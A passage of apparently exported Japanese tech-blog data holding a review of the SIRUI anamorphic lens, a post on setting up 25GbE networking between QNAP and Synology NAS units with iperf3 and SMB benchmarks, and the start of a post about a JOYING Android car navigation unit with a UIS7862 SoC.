Photo](https://affinity.serif.com/ja-jp/photo/)を用い、シネマスコープに合わせるため横方向を133%に拡大して編集・現像した。\n\n### 写真\n\nGH5では、16:9の5184×2920で撮影した場合でも、RAW画像は4:3の5184×3888で記録される。\nRAW画像は1.33xのアナモルフィックレンズに合わせて横方向を伸ばすと、6912x3888の16:9の画像として編集できるが、撮影時の構図に合わせてシネマスコープサイズになるようクロップを施してある。\n一部クロップせずそのまま16:9にした方が写りの良いものがあったため、16:9と2.35:1の画像が混じっている。\nまた、Webで公開可能なサイズに収めるため、横の解像度が2560pxになるようスケールダウンしてある。\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n### 映像\n\n自動車のヘッドランプが輝く一般道を中心に、静止して撮影したものを集めた。手持ち撮影でFinal Cut Pro Xの手振れ補正を適用している。\n\n<iframe width=\"760\" height=\"315\" src=\"https://www.youtube.com/embed/xfyNHLUJNJw?mute=1\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen></iframe>\n\n## まとめ\n\n安価だが造りはしっかりしていて、出来上がる画も期待通りのものだった。素人撮影でも「映画っぽい」画が作れる。\nワイドな映像や特徴的な映像・写真を撮りたいと思い立ったら、まずはこの[SIRUI 35mmアナモルフィックレンズ](https://www.indiegogo.com/projects/sirui-35mm-anamorphic-lens)を手にすることをおすすめしたい。\n\n空前の動画撮影ブームが訪れている現代でも、映画のような横に長い映像を作る手法はあまり知られていない。\n撮影した映像の上下をトリミング(クロップや黒帯の挿入)して横長の映像を作成する方法がまだ一般的だ。\nアナモルフィックレンズを使うことにより、シネマスコープの映像を映画さながら実現できることは、もっと知られてもいいと思う。\n\nIMAXで撮影される映画も徐々に増え、Blu-rayやハイビジョンテレビに合わせた16:9の映画も幅を利かせていることもあり、シネマスコープの映画を目にする機会は減りつつある。\nノスタルジーな映画の雰囲気を後世に語り継ぐためにも、アナモルフィックレンズによる撮影に興味をもってくれると嬉しい。\n"]}],[0,{"slug":[0,"2020/12/11/hello-25gbe-nic-at-home/"],"data":[0,{"title":[0,"一般のご家庭に25GbEネットワークを導入する"],"date":[3,"2020-12-10T21:30:00.000Z"],"image":[0,"/assets/images/2020/12/11/hello-25gbe-nic.jpg"],"author":[0,"mzyy94"],"categories":[1,[[0,"Network"]]],"tags":[1,[[0,"25gbe"],[0,"nic"],[0,"mellanox"],[0,"connectx-4"]]]}],"content":[0,"\n\n師走と言えば大掃除。\n一般のご家庭に溜まる可燃ゴミの掃除はもちろんのこと、デジタルデータに溢れる令和の時代は、データ掃除も入念に行う必要があります。\nPCやiPadやNASなど、いたるところに散らばるデータの掃除には、高速ネットワーク環境を家庭内に構築しないと始まりませんよね。\nそこで高速なネットワーク環境を導入し始めました。\n\nそう、25GbEの敷設です!\n\n## 目次\n\n## 25GbE導入の経緯\n\n\n### 平成末期に幾度ものNASの移行\n\n2016年、自分でNASを構築する楽しみを感じていたこともあり、NAS4FreeやRockstor、そしてOpenMediaVaultと、OSSのNAS用ディストリビューションをとっかえひっかえしていました。\n\n::PostLink{slug=\"do-you-know-rockstor\"}\n\nストレージプールの復元に失敗してデータを失うことが何度かあったものの、ずっと構築を続けられるんじゃないかと感じたくらい楽しかったのを覚えています。\nしかし2018年のある日、突然考え方に変化が起こりました。\n\n<blockquote class=\"twitter-tweet\"><p lang=\"ja\" dir=\"ltr\">電源の壊れたNASを新しい筐体に入れ直してるんだけど適当なOS突っ込んで自分で管理する楽しさよりQNAPに任せて楽チンの方がいい気もしてきた</p>&mdash; 🔥ワンストップ申請🔥 (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/993762965995241473?ref_src=twsrc%5Etfw\">May 8, 2018</a></blockquote>\n\nこの時を境に、構築と失敗を繰り返し数TBもの消失したデータに想いを馳せ、「安定したアプライアンスとして提供されているNASを購入した方が*しあわせ*になれるかもしれない」と考えが変わってしまったのです。\n\nそしてその年の末に、当時の家庭向け6ベイ最上位モデルとも言える[QNAPのTVS-672XT](https://www.qnap.com/ja-jp/product/tvs-672xt)を購入し、自作NASマイブームの終焉を迎えました。\n\n\n<a href=\"https://www.amazon.co.jp/QNAP-%E3%82%AD%E3%83%A5%E3%83%BC%E3%83%8A%E3%83%83%E3%83%97-TVS-672XT-10GbE%E3%80%81Thunderbolt-SSD%E3%82%B9%E3%83%AD%E3%83%83%E3%83%88%E5%AF%BE%E5%BF%9C/dp/B07JNLNHD1/ref=as_li_ss_il?__mk_ja_JP=%E3%82%AB%E3%82%BF%E3%82%AB%E3%83%8A&dchild=1&keywords=672xt&qid=1607610034&sr=8-1&linkCode=li3&tag=mzyy-22&linkId=0451bd3586e2b26c7b7a9cef0799b0ef&language=ja_JP\" target=\"_blank\"><img border=\"0\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B07JNLNHD1&Format=_SL500_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22&language=ja_JP\" /></a>\n\n[Amazon \\| QNAP(キューナップ) TVS-672XT 10GbE、Thunderbolt 3、M.2 PCIe NVMe SSDスロット対応 6ベイ Intel NASサーバー。 \\| QNAP(キューナップ) \\| パソコン・周辺機器 通販](https://www.amazon.co.jp/QNAP-%E3%82%AD%E3%83%A5%E3%83%BC%E3%83%8A%E3%83%83%E3%83%97-TVS-672XT-10GbE%E3%80%81Thunderbolt-SSD%E3%82%B9%E3%83%AD%E3%83%83%E3%83%88%E5%AF%BE%E5%BF%9C/dp/B07JNLNHD1/ref=as_li_ss_tl?ie=UTF8&linkCode=sl1&tag=mzyy-22&linkId=7c43b0ce520dc9ec441932694d3684a2&language=ja_JP)\n\n\n### 10GbEでも十分だったNASの移行\n\n2016年に10GbE NICを導入したのも、NASの移行を頻繁に行なっていたことが理由でした。\n\n::PostLink{slug=\"hello-10gbe-nic\"}\n\n当時のNASはHDDを4つ積んでRAID5相当で組んだシンプルなストレージ構成ではあったものの、1 GbEでは通信速度が頭打ちとなってしまってストレージのスピードを発揮し切れていなかったのです。\n10GbEの導入でディスクをフルスピードで稼働させ、快適なデータ転送を行えるようになりました。\n\nもちろん、QNAPのNASにも10GbEで爆速の移行を成し遂げたものです。\n当時はこれで十分でした。当時は。\n\n### NASの高機能化と10GbEの限界\n\n数年前から市販されているNASは高速化のため、SSDを搭載できるようなものが増えてきました。\nとりわけハイエンド向けのものとなると、NVMeのPCI Express 3.0 x4接続に対応しており、そのスピードは従来のHDDのみで構成されたNASとは桁違いの速さを誇ります。\nQNAP TVS-672XTも例に漏れずNVMe SSDに対応しており、NAS上で行ったベンチマークテストでは**3.0GB/s**を超えるスピードを叩き出しました。\n\n\n\n\n\nそう、10Gbpsを凌ぐストレージスピードを出すほどにNASは進化しているのです。**10GbEは遅いのです。**\n\nこの時、次のNAS移行時には10GbEを超える通信環境の必要性を確信しました。\n\n### 10GbEを超えるイーサネット通信規格\n\n5GやWi-Fi 6など高速無線通信が当たり前となりつつあるこの時代。有線LANも[妥協の見られるマルチギガビット](https://ja.wikipedia.org/wiki/%E3%83%9E%E3%83%AB%E3%83%81%E3%82%AE%E3%82%AC%E3%83%93%E3%83%83%E3%83%88%E3%83%BB%E3%82%A4%E3%83%BC%E3%82%B5%E3%83%8D%E3%83%83%E3%83%88)の広まりとともに、10ギガビットが一般に普及し始めている段階です。\n\n10GbEより高速なイーサネット通信は、**25GbE**、**40GbE** (56GbE)、**100GbE**とラインナップが並んでいます。\nこれらは普及価格帯にまだ遠く、25GbEを例にとっても代表的なIntel XXV710搭載の25GbEネットワークカードは1枚5万円を超え、ケーブル含め双方向通信を構築するだけでも10万円以上の予算が必要になってきます。\nこれにスイッチングハブやルーターなどの導入を考えるともう一桁上がり、逸般の誤家庭でも25GbEネットワーク構築には大きな勇気が必須となります。\n\nまだ「やっと10GbEが一般のご家庭に広まりつつある時代」に、10GbEよりさらに高速なイーサネット通信機器を構築しようとしているので、なまじ安価に揃えられるはずがありません。\n\n一般的には高速ストレージ間通信にはイーサネットではなく、[Fibre Channel](https://ja.wikipedia.org/wiki/%E3%83%95%E3%82%A1%E3%82%A4%E3%83%90%E3%83%BC%E3%83%81%E3%83%A3%E3%83%8D%E3%83%AB)や[InfiniBand](https://ja.wikipedia.org/wiki/InfiniBand)などのインターコネクトが用いられます。\nそれらを用いることも考えたものの、TCP/IPとイーサネット通信を前提とした家庭内のネットワークにおいては、(IPoIBなどあれど)NASにはイーサネットを選択した方が賢い。そんな思いから25GbE導入にこだわり始めました。\n\n### 25GbE元年となった2020年\n\n今年の初め、QNAPから自社NAS向けの25GbEネットワークカードがリリースされました。\n\n[QNAPは、iSERサポートともにMellanox ConnectX-4 Lx SmartNICを搭載したNASとPC用の新しい25GbE NICを発表 \\| QNAP](https://www.qnap.com/ja-jp/news/2019/qnap-%e3%81%afiser-%e3%82%b5%e3%83%9d%e3%83%bc%e3%83%88%e3%81%a8%e3%82%82%e3%81%ab-mellanox-connectx-4-lx-smartnic-%e3%82%92%e6%90%ad%e8%bc%89%e3%81%97%e3%81%9f-nas-%e3%81%a8-pc-%e7%94%a8%e3%81%ae%e6%96%b0%e3%81%97%e3%81%84-25gbe-nic-%e3%82%92%e7%99%ba%e8%a1%a8)\n\n\nIntelより比較的安価なMellanox製ではあるものの、QNAPアクセサリーストアに掲載の品はIntelのそれの約半額という、破格の価格設定に驚きました。\nこのリリースは、一般家庭へも10万円足らずで手軽に25GbEを導入できる時代になった瞬間とも言えます。**25GbE元年**と言っても過言ではないでしょう。\n\n\n\n情報引用元: [Dual-port SFP28 25GbE network expansion card; low-profile form factor; PCIe Gen3 x8](https://shop.qnap.com/index.php?route=product/product&product_id=314)\n\n\n### 不安定になるNAS\n\nこれでいつNASが不安定になっても遅い10GbEにイライラすることなく、高速にNASの移行が行えると安堵していた矢先に、待ってましたと言わんばかりにQNAPのNASが不安定になってきたのです。\n\nQNAPのNASに搭載されるOSであるQTS上で、ファイルの移動を行うと失敗するようになり、それだけならまだしも**移動に失敗したファイルが消失する**なんてことが起きるようになりました。\n他にも謎のバックグラウンドタスクがI/OやCPUを占有する事象もあり、ファームウェア初期化でも改善しませんでした。\n\n\n— _買い替え時だな_\n\n\nこうして、25GbEの導入を決めたのでした。\n\n(完)\n\n## 機材購入\n\n### 25GbEカードの購入\n\nNASを買い替え、移行する目的で25GbE通信環境を構築するので、25GbEスイッチングハブや25GbEルーターは今回は導入しません。\n25GbEネットワークカードとDAC(Direct Attached Copper)ケーブルを調達するのみです。\n\nQNAPアクセサリーストアーから25GbEカード2枚とSFP28のDACケーブル1本を購入しました。\n\nお値段はというと、US$ 247が2つとUS$ 118が1本で合計US$ 612(送料無料)。\nQNAPアクセサリーストアは台湾からの発送にもかかわらず、日本へ無料配送してくれるのはとてもありがたいですね(受け取り時に輸入消費税+手数料で約4,000円ほどの支払いあり)。\n\n\n\n\n翌日発送で注文6日後に受け取りました。\n\n\n<Notice type=\"tip\">\n**追記(2021/5/27)** 今年に入ってからSynologyもほとんど同じ仕様の25GbEカードを発売しました。\n[E25G21-F2 \\| Synology Incorporated](https://www.synology.com/ja-jp/products/E25G21-F2)\n<br/>\n[Amazon \\| 【拡張NIC】Synology E25G21-F2 [25GbE / SFP28 / デュアルポート / Synology用拡張ネットワークカード] 国内正規代理店品 \\| Synology \\| ネットワークカード 通販](https://www.amazon.co.jp/%E3%80%90%E6%8B%A1%E5%BC%B5NIC%E3%80%91Synology-E25G21-F2-%E3%83%87%E3%83%A5%E3%82%A2%E3%83%AB%E3%83%9D%E3%83%BC%E3%83%88-Synology%E7%94%A8%E6%8B%A1%E5%BC%B5%E3%83%8D%E3%83%83%E3%83%88%E3%83%AF%E3%83%BC%E3%82%AF%E3%82%AB%E3%83%BC%E3%83%89-%E5%9B%BD%E5%86%85%E6%AD%A3%E8%A6%8F%E4%BB%A3%E7%90%86%E5%BA%97%E5%93%81/dp/B08WLGZS86?&linkCode=ll1&tag=mzyy-22&linkId=5706a99cd58ac07ae652523758a04127&language=ja_JP&ref_=as_li_ss_tl)\n</Notice>\n\n### 移行先のNASの購入\n\n25GbEカードと同時期に注文しておいたSynologyの[DS1621+](https://www.synology.com/ja-jp/products/DS1621+)に移行します。\n\n<blockquote class=\"twitter-tweet\"><p lang=\"en\" dir=\"ltr\">𝑚𝑦 𝑛𝑒𝑤 𝑔𝑒𝑎𝑟 <a href=\"https://t.co/IxXX3C13B0\">pic.twitter.com/IxXX3C13B0</a></p>&mdash; 🔥ワンストップ申請🔥 (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/1335620082525818881?ref_src=twsrc%5Etfw\">December 6, 2020</a></blockquote>\n\n<a href=\"https://www.amazon.co.jp/%E3%80%90NAS%E3%82%AD%E3%83%83%E3%83%88%E3%80%91Synology-DiskStation-DS1621-%E5%A4%A7%E5%AE%B9%E9%87%8F6%E3%83%99%E3%82%A4%E9%AB%98%E6%80%A7%E8%83%BDNAS-%E6%AD%A3%E8%A6%8F%E5%9B%BD%E5%86%85%E4%BB%A3%E7%90%86%E5%BA%97%E3%82%B5%E3%83%9D%E3%83%BC%E3%83%88%E5%AF%BE%E5%BF%9C/dp/B08HYQJJ62/ref=as_li_ss_il?__mk_ja_JP=%E3%82%AB%E3%82%BF%E3%82%AB%E3%83%8A&cv_ct_cx=DS1621&dchild=1&keywords=DS1621&pd_rd_i=B08HYQJJ62&pd_rd_r=b525dc4a-5c1b-444d-81b6-27ccff776952&pd_rd_w=wWCpA&pd_rd_wg=2uH4w&pf_rd_p=7df204c2-64ae-4749-ad98-15e5ada91184&pf_rd_r=TCNY5CA6FKAHR3P0065F&psc=1&qid=1607610107&sr=1-1-e8fe1cc6-e01d-4281-b2ad-b5cf9a46bf30&linkCode=li3&tag=mzyy-22&linkId=144afc1d9b402bb53b67a556233e9327&language=ja_JP\" target=\"_blank\"><img border=\"0\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B08HYQJJ62&Format=_SL500_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22&language=ja_JP\" /></a>\n\n[Amazon \\| 【NASキット】Synology DiskStation DS1621+ [6ベイ / クアッドコアCPU搭載 / 4GBメモリ搭載] 大容量6ベイ高性能NAS 正規国内代理店サポート対応 \\| Synology \\| パソコン・周辺機器 通販](https://www.amazon.co.jp/%E3%80%90NAS%E3%82%AD%E3%83%83%E3%83%88%E3%80%91Synology-DiskStation-DS1621-%E5%A4%A7%E5%AE%B9%E9%87%8F6%E3%83%99%E3%82%A4%E9%AB%98%E6%80%A7%E8%83%BDNAS-%E6%AD%A3%E8%A6%8F%E5%9B%BD%E5%86%85%E4%BB%A3%E7%90%86%E5%BA%97%E3%82%B5%E3%83%9D%E3%83%BC%E3%83%88%E5%AF%BE%E5%BF%9C/dp/B08HYQJJ62/ref=as_li_ss_tl?__mk_ja_JP=%E3%82%AB%E3%82%BF%E3%82%AB%E3%83%8A&cv_ct_cx=DS1621&dchild=1&keywords=DS1621&pd_rd_i=B08HYQJJ62&pd_rd_r=b525dc4a-5c1b-444d-81b6-27ccff776952&pd_rd_w=wWCpA&pd_rd_wg=2uH4w&pf_rd_p=7df204c2-64ae-4749-ad98-15e5ada91184&pf_rd_r=TCNY5CA6FKAHR3P0065F&psc=1&qid=1607610107&sr=1-1-e8fe1cc6-e01d-4281-b2ad-b5cf9a46bf30&linkCode=ll1&tag=mzyy-22&linkId=aece1362ddd0c7359ee4b9079c6178b3&language=ja_JP)\n\n\n## Mellanox ConnectX®-4 Lx Ethernet Adapter Card\n\n\n\n\n今回購入した25GbEカードのQXG-25G2SF-CX4には、Mellanox ConnectX®-4 Lxネットワークコントローラーが搭載されています。\n\n[ConnectX®-4 Lx EN Cards \\| NVIDIA](https://jp.mellanox.com/products/ethernet-adapters/connectx-4-lx-en)\n\nそしてこのコントローラーを搭載したカードの詳細仕様は、以下のPDFに書かれています。\n\n[pb-connectx-4-lx-en-card.pdf](https://www.mellanox.com/sites/default/files/doc-2020/pb-connectx-4-lx-en-card.pdf)\n\n抜粋すると、以下のようなスペックを誇ります。\n\n- ネットワーク速度: **最大25GbE/10GbE/1GbE**\n- ネットワークポート数: **2**\n- ネットワークインターフェース: **SFP28**\n- ホストインターフェース: **PCIe 3.0 x8**\n\nネットワークインターフェースは一般的なRJ45やSFP+ではなく、SFP28です。\nSFP28コネクタはSFP+と互換があり、コントローラーが対応していればSFP28ケーブルを既設のご家庭の10GbEネットワークに接続し、10GbE通信を確立することができます。\n実際に購入したカードとSFP28ケーブルで既設ネットワークのSFP+ポートに接続することで、10GbEでの通信の確立ができました。\n\n参考資料: [SFP vs SFP+、SFP28 vs SFP+、QSFP vs QSFP28の違い \\| FSコミュニティ](https://community.fs.com/jp/blog/sfp-vs-sfp-vs-sf-p28-vs-qsfp-vs-qsf-p28-what-are-the-differences.html)\n\n十分にスピードを出すにはホストインターフェースにPCIe Gen 3.0 x8が必要なようですが、Gen 2.0やx4でも動作すると書かれています。\n\n\n\n引用元: [pb-connectx-4-lx-en-card.pdf](https://www.mellanox.com/sites/default/files/doc-2020/pb-connectx-4-lx-en-card.pdf)\n\n\n## セットアップ\n\n### 構成\n\nさて、機材は揃ったので環境構築をしていきます。\n今回移行するNASの構成は下表の通りです。\n\n型番 | QNAP TVS-672XT | Synology DS1621+\n---|---|---\nCPU | Intel Core i3-8100T | AMD Ryzen Embedded V1500B\nRAM | DDR4-2666 64GB | DDR4-2666 32GB\nPCIe | PCI Express 3.0 x4 | PCI Express 3.0 x4\nSSD 1 | [Samsung 960 EVO 500GB](https://www.amazon.co.jp/Samsung-Type2280-PCIe3-0%C3%974-%E6%AD%A3%E8%A6%8F%E4%BB%A3%E7%90%86%E5%BA%97%E4%BF%9D%E8%A8%BC%E5%93%81-MZ-V6E500B/dp/B01NCJFP1M/ref=as_li_ss_tl?ie=UTF8&linkCode=ll1&tag=mzyy-22&linkId=2077b3bf4fda0ad241b2a249b30dab77&language=ja_JP) | AGI AGI512G16AI198 512GB\nSSD 2 | [Samsung 970 EVO 500GB](https://www.amazon.co.jp/Type2280-PCIe3-0%C3%974-%E6%AD%A3%E8%A6%8F%E4%BB%A3%E7%90%86%E5%BA%97%E4%BF%9D%E8%A8%BC%E5%93%81-MZ-V7E500B-EC/dp/B07CKX6S7H/ref=as_li_ss_tl?ie=UTF8&linkCode=ll1&tag=mzyy-22&linkId=78a9c354cb1979e837ca28914c053fb1&language=ja_JP) | [Crucial P1 500GB](https://www.amazon.co.jp/%E9%87%8D%E8%A6%81%E3%81%AAP1-500GB-NAND-NVMe-PCIe/dp/B07J2WBKXF/ref=as_li_ss_tl?__mk_ja_JP=%E3%82%AB%E3%82%BF%E3%82%AB%E3%83%8A&dchild=1&keywords=Crucial+P1&qid=1607618831&sr=8-7&linkCode=ll1&tag=mzyy-22&linkId=d50ff9d91c0d3cb081c814373022366f&language=ja_JP)\nOS | [QTS 4.5.1](https://www.qnap.com/qts/4.5.1/ja-jp) | [DSM 7.0 Beta](https://www.synology.com/ja-jp/beta/DSM70Beta)\n\n25GbE NICのQXG-25G2SF-CX4とはどちらもPCIe 3.0 x4での接続となるので、少しパフォーマンスは落ちる見込みです。\n\n### 25GbE NICの接続と認識\n\n\n\nそれぞれのNASに25GbEカードを取り付け、SFP28ケーブルで接続し通信できる状態を準備します。\n\n#### QNAP TVS-672XT\n\n\n\n移行元のTVS-672XTは、この25GbEカードと[互換性があり](https://www.qnap.com/ja-jp/compatibility/?model=356&category=11)、取り付けるだけで認識しました。\n\n#### Synology DS1621+\n\n\n\n移行先のDS1621+ですが、これには互換性情報が見つかりませんでした。\nしかしSynologyの[他のモデルにはConnectX-4 Lx ENのカードと互換性がある](https://www.synology.com/ja-jp/compatibility?search_by=category&category=network_interface_cards&p=1)との情報があったので、淡い期待と共に接続状態を見ると、25000Mbpsでリンクアップしていました。\nDSM 6.2でもDSM 7.0 Betaでも、両方ともリンクアップしていたので、DS1621+も**取り付けるだけで動作するようです**。\n\n## 検証\n\nただ導入して高速にNASの移行を済ますだけではもったいないので、通信速度の実測値が期待通りか検証します。\n\n### 検証環境\n\n2台のNASを1本のSFP28ケーブルで繋いだ構成で、各NASの25GbEポートに以下のIPアドレスを割り当てました。\n\n- TVS-672XT: **10.0.1.1/16**\n- DS1621+: **10.0.1.2/16**\n\nデフォルトMTU 1500では小さすぎるので、それぞれのNASでMTUを9000に変更しました。\n\n### 検証内容\n\nネットワーク通信速度とデータ転送速度の計測を行います。\n\n#### ネットワーク通信速度\n\nネットワーク通信速度の計測にはiperf3を用います。\n利用するバージョンは3.9([iperf-3.9.tar.gz](https://downloads.es.net/pub/iperf/iperf-3.9.tar.gz))で、Debian上でStatic linkで(`./configure --enable-static-bin`)ビルドしたバイナリを各NASに配置します。\n追加の計測オプションは無しでサーバー(`iperf3 -s`)とクライアント(`iperf3 -c`)を交代し、交互に各5回測定して結果を示します。\n\n#### データ転送速度\n\nデータ転送速度の計測は、SMB 3を用いたファイル転送時の転送レートを見ます。\n各NASのOSに標準搭載されたSMBの機能を利用し、DS1621+のDSM 7.0 BetaでTVS-672XTをマウントし、マウントしたTVS-672XTからDS1621+へとファイルを転送します。\n読み込みキャッシュをクリアしてしまったため、転送するファイルはTVS-672XT上のSSD上に配置されているものとし、DS1621+ではSSD読み書きキャッシュを有効にします。\n\n### 結果\n\n#### ネットワーク通信速度 TVS-672XTがクライアント\n\n\n\n転送量 | ビットレート | 再送回数\n---:|---:|---:\n26.2 GBytes | 22.5 Gbits/sec | 0\n26.1 GBytes | 22.5 Gbits/sec | 0\n25.9 GBytes | 22.3 Gbits/sec | 0\n26.2 GBytes | 22.5 Gbits/sec | 0\n26.1 GBytes | 22.4 Gbits/sec | 0\n\n期待通りの転送速度を発揮していました。Blu-rayディスクのデータが10秒足らずで転送できることを考えると興奮しますね。\n\n#### ネットワーク通信速度 DS1621+がクライアント\n\n\n\n転送量 | ビットレート | 再送回数\n---:|---:|---:\n18.4 GBytes | 15.8 Gbits/sec |37\n16.6 GBytes | 14.3 Gbits/sec |76\n16.4 GBytes | 14.1 Gbits/sec |93\n21.3 GBytes | 18.3 Gbits/sec |17\n19.0 GBytes | 16.4 Gbits/sec |80\n\n期待を大きく下回る速度となってしまいました。\n再送が発生しているのが結果からわかります。\n2つあるSFP28ポートのもう一つに差し込んでみても同様の結果となっているので、ポートが悪いというわけではないようです。\n\n調査してみたところ、iperf3サーバーとして動かしているTVS-672XTのCPU利用率が、iperf3で通信をすると90%を超えることがわかりました。\nDS1621+の方はというと、サーバー・クライアント共に15%前後の利用率に留まっていました。\n\n直接的に何がCPUを利用しているのかを調査しそびれましたが、TVS-672XTの再起動とバックグラウンドアプリケーションの停止をして解決を図りました。\n相変わらず通信開始でCPU利用率は跳ね上がるものの、40%前後で落ち着くようになりました。\n\nその状態で再計測しました。\n\n\n\n転送量 | ビットレート | 再送回数\n---:|---:|---:\n25.1 GBytes | 21.5 Gbits/sec | 60\n26.8 GBytes | 23.0 Gbits/sec | 545\n26.8 GBytes | 23.0 Gbits/sec | 194\n25.2 GBytes | 21.7 Gbits/sec | 497\n27.2 GBytes | 23.4 Gbits/sec | 87\n\n相変わらず再送は多いですが、期待通りの結果が得られました。\n再送がなぜ起きるのかは、今後の調査課題とします。\n\n#### データ転送速度\n\nSynology DSM 7.0 BetaのFile Stationを用いて、大小様々なファイルの含まれるフォルダを転送しました。\n\n\n\nピーク時で約1.8Gbpsと、遅すぎる結果となりました。\n大きな単一ファイルの転送では改善するものの、終始2Gbps台と振るわない結果でした。\n\nリソースモニタを確認すると、どうやらDS1621+のディスク書き込み速度で頭打ちとなっているようでした。\nSSDの書き込みキャッシュ機能がうまく効いていないようです。悲しい。\nSSDキャッシュは利用を進めていくことで学習していくようなので、今後に期待するとします。\n\nSSDキャッシュが最大限に効いた場合のファイル転送速度を想定して、SMB 3でマウントしているディレクトリに含まれる単一ファイルを/dev/nullに吐き出したものを参考値として計測してみました。\n\n\n\nSMB 3のオーバーヘッドがあれど、1.4GB/sと**11.2Gbps**のパフォーマンスがSMB 3転送で期待できる結果となりました。\n10GbEから25GbEに乗り換えた甲斐があったと実感させられます。\n\n## まとめ\n\n25GbEはいいものです。帯域が豊かになります。\nいい感じにSSDキャッシュが熟してきたら、VMイメージをNAS上に置いてハイパフォーマンスマシンから25GbE越しに起動する、なんてこともしてみたいです。\n\n時代は5Gでも10Gでもなく、25Gです。\n\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n"]}],[0,{"slug":[0,"2021/02/04/new-android-car-navigation/"],"data":[0,{"title":[0,"新SoC UIS7862搭載の中華ナビを買った+root化事情(JOYING製)"],"date":[3,"2021-02-04T00:00:00.000Z"],"image":[0,"/assets/images/2021/02/04/homescreen.png"],"author":[0,"mzyy94"],"categories":[1,[[0,"Automobile"]]],"tags":[1,[[0,"car-audio"],[0,"中華ナビ"],[0,"navigation"],[0,"joying"],[0,"android"],[0,"carplay"],[0,"review"],[0,"rooting"]]]}],"content":[0,"\nついこの前買ったばかりのJOYING製の中華ナビ。\n\n::PostLink{slug=\"joying-car-navigation-prius-zvw30\"}\n\n購入してブログの記事を書いた数週間後にモデルチェンジがあり、ほとんどお値段変わらず新しいよりパワフルなSoCを積んだものが発売されていました。\nとても悔しかったので買いなおしました。悔しかったので(大事なことなので)。\n\n商品自体は昨年11月に届いていたものの、外出自粛が長引き活用できずにずっとおうちに眠ったままです。\nこの記事も12月に大枠は完成していて、一緒に眠ったままでした。\nこのままでは眠りっぱなしなので、実際に取り付けてのレビューは無しに、前モデルと比較しつつ新しいモデルの違いの検証とroot化事情の記事としてお届けします。\n\n\n## 目次\n\n<a href=\"https://s.click.aliexpress.com/e/_AFArsH\" target=\"_blank\"><img src=\"https://ae01.alicdn.com/kf/H17b3d56096ee462fa7c3ddbe74fd99f55.jpg_350x350.jpg\" /></a>\n\n[9 \"ラジオ2 din autoradioアンドロイド10車のヘッドユニットhd 1280*720マルチメディアdvd playerforトヨタプリウス2009 2013シルバー右ドライブ\\|車用マルチメディアプレーヤー\\| - AliExpress](https://s.click.aliexpress.com/e/_AFArsH)\n\n## 新モデルスペック\n\n箇条書きにすると次の通りになっています。\n\n- 価格 (執筆時): US $354.45\n- 画面サイズ: 9インチ\n- ユニットサイズ: 1 Din\n- 画面解像度: 1280x720\n- 画面タイプ: 埋め込み式\n- SoC: UIS7862 (Unisoc T618?)\n- RAM: 4 GB\n- Flash: 64 GB\n- OS: Android 10.0\n- Apple CarPlay: ビルトイン\n- マルチメディア機能: Wi-Fi(2.4/5GHz)/Bluetooth/USB/4G\n- 対応操作方法: タッチパネル・ステアリングリモコン\n\nハードウェアに絞って比較表を作ると以下のようになります。\n\n 機能 | 旧モデル | **新モデル**\n---|---|---\nSoC | Unisoc SC9853i | **UIS7862**\nCPU Arch | x86-64 | **ARMv8.2-A**\nμArch | Intel Airmont | **ARM Cortex-A75/A55**\nCPU Core# | 8 | 8 (2+6)\nCPU Freq | 1.8 GHz | 1.8 GHz\nGPU | Mali T820 | **Mali G52**\n\n旧モデルはIntel CPUだったのに対し今回の新モデルはARMと、アーキテクチャの変更があった点が大きな違いですね。\n\n## 新SoC UIS7862\n\n\n\n\nUIS7862についてはググってもほとんど情報が見つかりません。\n手がかりとなるのは、Model IDとして表示されている文字列、「ums512_1h10_Natv」くらいですが、この文字列のパターン性から旧モデルのSC9853iと同じ**Unisoc製**であるところまでは推測がつきます。\n[UnisocのWebサイト](http://www.unisoc.com)は最近更新があったようで、旧モデルの[SC9853i(リンク切れ)](http://www.unisoc.com/solution/sc9853i)を含めごっそりとCPUのラインナップが削除されています。\nその影響か、今回のSoCについても公式サイトでは見つからず、英語版WikipediaくらいしかUnisocのSoCについてまとまった情報としては手軽に見つけられるものはなくなってしまいました。\n\n[Unisoc - Wikipedia](https://en.wikipedia.org/wiki/Unisoc)\n\nこの一覧にもUIS7862に関する記述はないですが、近いものとして**Tiger T618**が見つけられます。\nbig側の周波数がT618よりも低いことと、ums512の文字列から、Tiger T512あたりなんじゃないかなぁと思ってググってみるもこれも該当なし。\n\n結果としてどうのようなSoCなのか詳細は不明なままですが、マイクロアーキテクチャや数値を見るかぎり、ミドルクラスのスマホSoCと同じ性能帯のもののようです。\n旧モデルのUnisoc SC9853iがベンチマークの結果が示すようにローエンドの性能だったことを考えれば、大きな性能向上が期待できるのは言うまでもないですね。\n\n### UIS7862搭載中華ナビ\n\n中華ナビの歴史を軽く調べたところ、SoCのトレンドはRockchipの[PX5 (データシート[PDF])](https://rockchip.fr/PX5%20datasheet%20V1.1.pdf)を搭載する機種が世の中を席巻し、そのアップグレードモデルのPX6を搭載するものが多く存在した時代が続いていたようです。\nそれ以後は各社が色を出し始め、搭載されるSoCの種類の幅も広くなったようにも見える時期がありましたが、今回の**UIS7862**は多くのメーカーが採用していることが見てとれ、新たなトレンドとなりつつあるようです。\n\n例えば[カーナビを探していた時](../2020/2020-09-03-high-res-720p-car-navigation.md)に[最後の候補に挙げていたCOHOの中華ナビ](https://s.click.aliexpress.com/e/_dZbP3w4)も、UIS7862を搭載していました。\n\n<a href=\"https://s.click.aliexpress.com/e/_dXLxTYg\" target=\"_blank\"><img src=\"https://ae01.alicdn.com/kf/Hdd16acad84b7407d90fd40ee2ef50306o.jpg_350x350.jpg\" /></a>\n\n[Prius 30 RHD Android 10.0 Octa Core 4+64G Androi Radio Car Navigation For Toyota Prius 30 RHD\\|Car Multimedia Player\\| - AliExpress](https://s.click.aliexpress.com/e/_dZbP3w4)\n\nJOYINGと同じくして、Unisoc 